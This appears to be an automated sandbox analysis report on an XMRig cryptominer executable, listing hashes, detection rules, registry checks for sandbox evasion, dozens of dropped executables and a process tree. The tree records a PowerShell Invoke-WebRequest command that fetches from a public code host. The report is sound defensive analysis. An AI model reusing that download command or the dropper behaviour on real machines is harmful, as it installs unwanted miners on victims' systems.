xmrig | 3de04c37db073d5432d5d4893d807f0734c6c70dde0779d7076bad770fca5ff3

Analysis

max time kernel
151s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
01/11/2023, 12:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
Size

1.9MB
MD5

43ea825e755b49a93ffba425d9691220
SHA1

0365545977dc62cce5725f1d1b9dcd968ac1f63b
SHA256

3de04c37db073d5432d5d4893d807f0734c6c70dde0779d7076bad770fca5ff3
SHA512

3bf35e7c7ae369c433187a10bd4c607da63524e65edc6ee9d75c8c7281f0fce9d0d9f633a331b756e7b6d6f854cd05e399fc31cd28b9c09f6f20887940787794
SSDEEP

49152:Lz071uv4BPMkibTIA5I4TNrpDGgDQOIktRU:NABV

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 26 IoCs

miner

resource	yara_rule
behavioral2/memory/4296-63-0x00007FF60DEA0000-0x00007FF60E292000-memory.dmp	xmrig
behavioral2/memory/4304-64-0x00007FF79FEB0000-0x00007FF7A02A2000-memory.dmp	xmrig
behavioral2/memory/216-65-0x00007FF7A9FB0000-0x00007FF7AA3A2000-memory.dmp	xmrig
behavioral2/memory/3908-66-0x00007FF7F1A50000-0x00007FF7F1E42000-memory.dmp	xmrig
behavioral2/memory/2188-74-0x00007FF7EE250000-0x00007FF7EE642000-memory.dmp	xmrig
behavioral2/memory/2580-80-0x00007FF66AF80000-0x00007FF66B372000-memory.dmp	xmrig
behavioral2/memory/1032-88-0x00007FF7FD850000-0x00007FF7FDC42000-memory.dmp	xmrig
behavioral2/memory/2524-89-0x00007FF641320000-0x00007FF641712000-memory.dmp	xmrig
behavioral2/memory/4232-90-0x00007FF69CD40000-0x00007FF69D132000-memory.dmp	xmrig
behavioral2/memory/2052-92-0x00007FF719360000-0x00007FF719752000-memory.dmp	xmrig
behavioral2/memory/1016-91-0x00007FF7E6AF0000-0x00007FF7E6EE2000-memory.dmp	xmrig
behavioral2/memory/4644-147-0x00007FF711D10000-0x00007FF712102000-memory.dmp	xmrig
behavioral2/memory/3772-163-0x00007FF7A0D40000-0x00007FF7A1132000-memory.dmp	xmrig
behavioral2/memory/3984-166-0x00007FF62E670000-0x00007FF62EA62000-memory.dmp	xmrig
behavioral2/memory/4140-209-0x00007FF6F07B0000-0x00007FF6F0BA2000-memory.dmp	xmrig
behavioral2/memory/3044-296-0x00007FF6B8370000-0x00007FF6B8762000-memory.dmp	xmrig
behavioral2/memory/1720-394-0x00007FF7F6920000-0x00007FF7F6D12000-memory.dmp	xmrig
behavioral2/memory/4764-485-0x00007FF7CF2C0000-0x00007FF7CF6B2000-memory.dmp	xmrig
behavioral2/memory/916-297-0x00007FF66AFC0000-0x00007FF66B3B2000-memory.dmp	xmrig
behavioral2/memory/4764-224-0x00007FF7CF2C0000-0x00007FF7CF6B2000-memory.dmp	xmrig
behavioral2/memory/2528-206-0x00007FF76F270000-0x00007FF76F662000-memory.dmp	xmrig
behavioral2/memory/1704-173-0x00007FF64A7E0000-0x00007FF64ABD2000-memory.dmp	xmrig
behavioral2/memory/4404-171-0x00007FF795970000-0x00007FF795D62000-memory.dmp	xmrig
behavioral2/memory/1116-165-0x00007FF62CB00000-0x00007FF62CEF2000-memory.dmp	xmrig
behavioral2/memory/4764-136-0x00007FF7CF2C0000-0x00007FF7CF6B2000-memory.dmp	xmrig
behavioral2/memory/3268-123-0x00007FF6E2BD0000-0x00007FF6E2FC2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	2912	powershell.exe
33	2912	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	Process not Found

Executes dropped EXE 64 IoCs

pid	Process
1116	DiiVtWy.exe
1032	RkmPkAD.exe
4296	SWNJHhx.exe
4304	IyBbqgg.exe
216	iKKvzwV.exe
3908	JHdmcTS.exe
2188	CpQtAbj.exe
2580	SpEKJpP.exe
2524	rgXwciM.exe
4232	kWyeADX.exe
1016	UkLTqbF.exe
2052	FKPtdlh.exe
4140	iLZJury.exe
2528	rqmHAfW.exe
3044	dboVlkn.exe
916	fiUWRbe.exe
3268	GgNXQnb.exe
1720	ilIPXMX.exe
2752	zCMEqrU.exe
4644	FFaPmPh.exe
3772	aCNivRp.exe
3984	VYOuhKs.exe
4404	UuFgAaJ.exe
1704	elhXSSw.exe
2480	ckeHbhv.exe
3840	wRfdnKt.exe
4300	KDeCvJA.exe
4832	punjeZh.exe
3540	HxFcjXo.exe
380	tAmrTJl.exe
1196	YjTiavu.exe
3032	FCVxiAD.exe
4412	xPlkyPl.exe
1472	uSnMDuB.exe
4704	ZtDDHJV.exe
2940	MqjCaMl.exe
1776	DmPFYAJ.exe
3556	ynDBdPV.exe
2416	wCwfYhR.exe
4896	cQJdLPy.exe
868	uGLGKir.exe
4420	GapYdao.exe
3960	dEhWRSI.exe
3648	bFYCGGl.exe
4976	vzdwVbD.exe
3592	hkUitHC.exe
2684	aETUXSM.exe
2056	YOKnfhF.exe
4176	eDnFulG.exe
412	yAqfBXA.exe
4656	HtsklDa.exe
4016	cnXltRX.exe
2788	kaOksUK.exe
636	MdPDXyM.exe
1584	gbhXNTo.exe
2920	aMvhkWx.exe
4684	vFXUURa.exe
1504	KaQVnEy.exe
1724	unrztTL.exe
3616	IXtzYCx.exe
920	GFERCYb.exe
648	FukaerC.exe
1104	jRirilA.exe
1676	enTKMeL.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4764-0-0x00007FF7CF2C0000-0x00007FF7CF6B2000-memory.dmp	upx
behavioral2/files/0x00030000000223ae-5.dat	upx
behavioral2/files/0x00030000000223ae-6.dat	upx
behavioral2/memory/1116-7-0x00007FF62CB00000-0x00007FF62CEF2000-memory.dmp	upx
behavioral2/files/0x0008000000022ccc-11.dat	upx
behavioral2/files/0x0008000000022ccc-12.dat	upx
behavioral2/files/0x0008000000022ccf-10.dat	upx
behavioral2/files/0x0008000000022ccf-16.dat	upx
behavioral2/files/0x0008000000022ccf-17.dat	upx
behavioral2/files/0x0007000000022cd3-21.dat	upx
behavioral2/files/0x0007000000022cd3-27.dat	upx
behavioral2/files/0x0007000000022cda-34.dat	upx
behavioral2/files/0x0007000000022cda-37.dat	upx
behavioral2/files/0x0008000000022cec-42.dat	upx
behavioral2/files/0x0006000000022cee-46.dat	upx
behavioral2/files/0x0006000000022cef-59.dat	upx
behavioral2/files/0x0006000000022cf1-62.dat	upx
behavioral2/files/0x0006000000022cf0-56.dat	upx
behavioral2/files/0x0006000000022cef-51.dat	upx
behavioral2/files/0x0006000000022cee-53.dat	upx
behavioral2/files/0x0008000000022cec-41.dat	upx
behavioral2/memory/4296-63-0x00007FF60DEA0000-0x00007FF60E292000-memory.dmp	upx
behavioral2/memory/4304-64-0x00007FF79FEB0000-0x00007FF7A02A2000-memory.dmp	upx
behavioral2/memory/216-65-0x00007FF7A9FB0000-0x00007FF7AA3A2000-memory.dmp	upx
behavioral2/memory/3908-66-0x00007FF7F1A50000-0x00007FF7F1E42000-memory.dmp	upx
behavioral2/files/0x0006000000022cf2-75.dat	upx
behavioral2/memory/2188-74-0x00007FF7EE250000-0x00007FF7EE642000-memory.dmp	upx
behavioral2/files/0x0006000000022cf2-73.dat	upx
behavioral2/files/0x0006000000022cf0-71.dat	upx
behavioral2/files/0x0006000000022cf3-81.dat	upx
behavioral2/memory/2580-80-0x00007FF66AF80000-0x00007FF66B372000-memory.dmp	upx
behavioral2/files/0x0006000000022cf3-82.dat	upx
behavioral2/memory/1032-88-0x00007FF7FD850000-0x00007FF7FDC42000-memory.dmp	upx
behavioral2/memory/2524-89-0x00007FF641320000-0x00007FF641712000-memory.dmp	upx
behavioral2/memory/4232-90-0x00007FF69CD40000-0x00007FF69D132000-memory.dmp	upx
behavioral2/memory/2052-92-0x00007FF719360000-0x00007FF719752000-memory.dmp	upx
behavioral2/memory/4140-93-0x00007FF6F07B0000-0x00007FF6F0BA2000-memory.dmp	upx
behavioral2/memory/1016-91-0x00007FF7E6AF0000-0x00007FF7E6EE2000-memory.dmp	upx
behavioral2/files/0x0006000000022cf4-87.dat	upx
behavioral2/files/0x0006000000022cf4-86.dat	upx
behavioral2/files/0x0006000000022cf8-106.dat	upx
behavioral2/files/0x0006000000022cf7-110.dat	upx
behavioral2/files/0x0006000000022cf8-113.dat	upx
behavioral2/files/0x0006000000022cf9-118.dat	upx
behavioral2/files/0x0006000000022d00-122.dat	upx
behavioral2/memory/2752-124-0x00007FF6443A0000-0x00007FF644792000-memory.dmp	upx
behavioral2/files/0x0006000000022d02-133.dat	upx
behavioral2/files/0x0006000000022d04-142.dat	upx
behavioral2/memory/4644-147-0x00007FF711D10000-0x00007FF712102000-memory.dmp	upx
behavioral2/files/0x0006000000022d07-157.dat	upx
behavioral2/memory/3772-163-0x00007FF7A0D40000-0x00007FF7A1132000-memory.dmp	upx
behavioral2/memory/3984-166-0x00007FF62E670000-0x00007FF62EA62000-memory.dmp	upx
behavioral2/memory/4300-188-0x00007FF6EBCE0000-0x00007FF6EC0D2000-memory.dmp	upx
behavioral2/files/0x0006000000022d10-198.dat	upx
behavioral2/memory/4140-209-0x00007FF6F07B0000-0x00007FF6F0BA2000-memory.dmp	upx
behavioral2/files/0x0006000000022d14-219.dat	upx
behavioral2/files/0x0006000000022d16-227.dat	upx
behavioral2/memory/3556-242-0x00007FF621A40000-0x00007FF621E32000-memory.dmp	upx
behavioral2/memory/4420-252-0x00007FF67DE70000-0x00007FF67E262000-memory.dmp	upx
behavioral2/memory/2788-286-0x00007FF6C8F40000-0x00007FF6C9332000-memory.dmp	upx
behavioral2/memory/3044-296-0x00007FF6B8370000-0x00007FF6B8762000-memory.dmp	upx
behavioral2/memory/1720-394-0x00007FF7F6920000-0x00007FF7F6D12000-memory.dmp	upx
behavioral2/memory/4764-485-0x00007FF7CF2C0000-0x00007FF7CF6B2000-memory.dmp	upx
behavioral2/memory/916-297-0x00007FF66AFC0000-0x00007FF66B3B2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	Process not Found

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ToJTxlG.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\WrwXhQk.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\WRfUItZ.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\hJfyYej.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\OMKCBkc.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\kXWYVLQ.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\mVmixeV.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\MHZyABT.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\lePPwtV.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\RPDzBpH.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\eScrwKz.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\ROwWZXt.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\YSMbxQR.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\QlOqYqy.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\BLTzUuc.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\noRkcoC.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\fLhsoqE.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\fzxXlLm.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\UhGxGBx.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\rqZkuvf.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\wbhdyOi.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\qwLMGYm.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\MbeCHxS.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\aSePZeE.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\cPLWyit.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\oarvvJm.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\GCWPGdP.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\LAjIbzM.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\LXwrQVJ.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\kwYyyVd.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\Tmfasgj.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\MCpbDaV.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\YutbSNG.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\qhLmmLG.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\zmSzjLF.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\MlLmbZF.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\NjwWqjr.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\YBTnPzv.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\WumMIRA.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\UQcpANr.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\iVhQAyr.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\tvFoKBn.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\fhjKMZB.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\eYzkcbN.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\ueGRvQW.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\LyyIDdy.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\ibzAjeN.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\rxWJHVU.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\HIySVww.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\yJrGSNA.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\IIeVZGs.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\MogQDQF.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\ZFmVUPG.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\JSsWNkM.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\BagotxP.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\xuJHAze.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\mfKcYfG.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\YwYmKnN.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\cNKeybK.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\LAozoXV.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\NiJdvlq.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\dphIhQQ.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\yRkOFwx.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
File created	C:\Windows\System\PGXqJFC.exe	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2912	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
Token: SeLockMemoryPrivilege	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 2912	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	89
PID 4764 wrote to memory of 2912	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	89
PID 4764 wrote to memory of 1116	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	90
PID 4764 wrote to memory of 1116	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	90
PID 4764 wrote to memory of 1032	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	91
PID 4764 wrote to memory of 1032	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	91
PID 4764 wrote to memory of 4296	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	92
PID 4764 wrote to memory of 4296	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	92
PID 4764 wrote to memory of 4304	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	93
PID 4764 wrote to memory of 4304	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	93
PID 4764 wrote to memory of 216	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	94
PID 4764 wrote to memory of 216	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	94
PID 4764 wrote to memory of 3908	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	95
PID 4764 wrote to memory of 3908	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	95
PID 4764 wrote to memory of 2188	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	97
PID 4764 wrote to memory of 2188	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	97
PID 4764 wrote to memory of 2580	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	99
PID 4764 wrote to memory of 2580	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	99
PID 4764 wrote to memory of 2524	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	98
PID 4764 wrote to memory of 2524	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	98
PID 4764 wrote to memory of 4232	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	100
PID 4764 wrote to memory of 4232	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	100
PID 4764 wrote to memory of 1016	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	101
PID 4764 wrote to memory of 1016	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	101
PID 4764 wrote to memory of 2052	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	102
PID 4764 wrote to memory of 2052	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	102
PID 4764 wrote to memory of 4140	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	315
PID 4764 wrote to memory of 4140	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	315
PID 4764 wrote to memory of 2528	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	103
PID 4764 wrote to memory of 2528	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	103
PID 4764 wrote to memory of 3044	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	314
PID 4764 wrote to memory of 3044	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	314
PID 4764 wrote to memory of 916	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	104
PID 4764 wrote to memory of 916	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	104
PID 4764 wrote to memory of 3268	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	105
PID 4764 wrote to memory of 3268	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	105
PID 4764 wrote to memory of 2752	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	106
PID 4764 wrote to memory of 2752	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	106
PID 4764 wrote to memory of 1720	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	313
PID 4764 wrote to memory of 1720	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	313
PID 4764 wrote to memory of 4644	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	312
PID 4764 wrote to memory of 4644	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	312
PID 4764 wrote to memory of 3772	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	311
PID 4764 wrote to memory of 3772	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	311
PID 4764 wrote to memory of 3984	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	107
PID 4764 wrote to memory of 3984	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	107
PID 4764 wrote to memory of 4404	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	310
PID 4764 wrote to memory of 4404	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	310
PID 4764 wrote to memory of 1704	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	108
PID 4764 wrote to memory of 1704	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	108
PID 4764 wrote to memory of 2480	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	309
PID 4764 wrote to memory of 2480	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	309
PID 4764 wrote to memory of 3840	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	308
PID 4764 wrote to memory of 3840	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	308
PID 4764 wrote to memory of 4300	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	109
PID 4764 wrote to memory of 4300	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	109
PID 4764 wrote to memory of 4832	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	307
PID 4764 wrote to memory of 4832	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	307
PID 4764 wrote to memory of 3540	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	110
PID 4764 wrote to memory of 3540	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	110
PID 4764 wrote to memory of 380	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	306
PID 4764 wrote to memory of 380	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	306
PID 4764 wrote to memory of 1196	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	111
PID 4764 wrote to memory of 1196	4764	NEAS.43ea825e755b49a93ffba425d9691220_JC.exe	111

C:\Users\Admin\AppData\Local\Temp\NEAS.43ea825e755b49a93ffba425d9691220_JC.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.43ea825e755b49a93ffba425d9691220_JC.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2912" "2920" "2872" "2924" "0" "0" "2948" "0" "0" "0" "0" "0"
    3⤵
    PID:14096
- C:\Windows\System\DiiVtWy.exe
  C:\Windows\System\DiiVtWy.exe
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Windows\System\RkmPkAD.exe
  C:\Windows\System\RkmPkAD.exe
  2⤵
  - Executes dropped EXE
  PID:1032
- C:\Windows\System\SWNJHhx.exe
  C:\Windows\System\SWNJHhx.exe
  2⤵
  - Executes dropped EXE
  PID:4296
- C:\Windows\System\IyBbqgg.exe
  C:\Windows\System\IyBbqgg.exe
  2⤵
  - Executes dropped EXE
  PID:4304
- C:\Windows\System\iKKvzwV.exe
  C:\Windows\System\iKKvzwV.exe
  2⤵
  - Executes dropped EXE
  PID:216
- C:\Windows\System\JHdmcTS.exe
  C:\Windows\System\JHdmcTS.exe
  2⤵
  - Executes dropped EXE
  PID:3908
- C:\Windows\System\CpQtAbj.exe
  C:\Windows\System\CpQtAbj.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\rgXwciM.exe
  C:\Windows\System\rgXwciM.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\SpEKJpP.exe
  C:\Windows\System\SpEKJpP.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\kWyeADX.exe
  C:\Windows\System\kWyeADX.exe
  2⤵
  - Executes dropped EXE
  PID:4232
- C:\Windows\System\UkLTqbF.exe
  C:\Windows\System\UkLTqbF.exe
  2⤵
  - Executes dropped EXE
  PID:1016
- C:\Windows\System\FKPtdlh.exe
  C:\Windows\System\FKPtdlh.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\rqmHAfW.exe
  C:\Windows\System\rqmHAfW.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\fiUWRbe.exe
  C:\Windows\System\fiUWRbe.exe
  2⤵
  - Executes dropped EXE
  PID:916
- C:\Windows\System\GgNXQnb.exe
  C:\Windows\System\GgNXQnb.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Windows\System\zCMEqrU.exe
  C:\Windows\System\zCMEqrU.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\VYOuhKs.exe
  C:\Windows\System\VYOuhKs.exe
  2⤵
  - Executes dropped EXE
  PID:3984
- C:\Windows\System\elhXSSw.exe
  C:\Windows\System\elhXSSw.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\KDeCvJA.exe
  C:\Windows\System\KDeCvJA.exe
  2⤵
  - Executes dropped EXE
  PID:4300
- C:\Windows\System\HxFcjXo.exe
  C:\Windows\System\HxFcjXo.exe
  2⤵
  - Executes dropped EXE
  PID:3540
- C:\Windows\System\YjTiavu.exe
  C:\Windows\System\YjTiavu.exe
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Windows\System\xPlkyPl.exe
  C:\Windows\System\xPlkyPl.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\DmPFYAJ.exe
  C:\Windows\System\DmPFYAJ.exe
  2⤵
  - Executes dropped EXE
  PID:1776
- C:\Windows\System\aETUXSM.exe
  C:\Windows\System\aETUXSM.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\gbhXNTo.exe
  C:\Windows\System\gbhXNTo.exe
  2⤵
  - Executes dropped EXE
  PID:1584
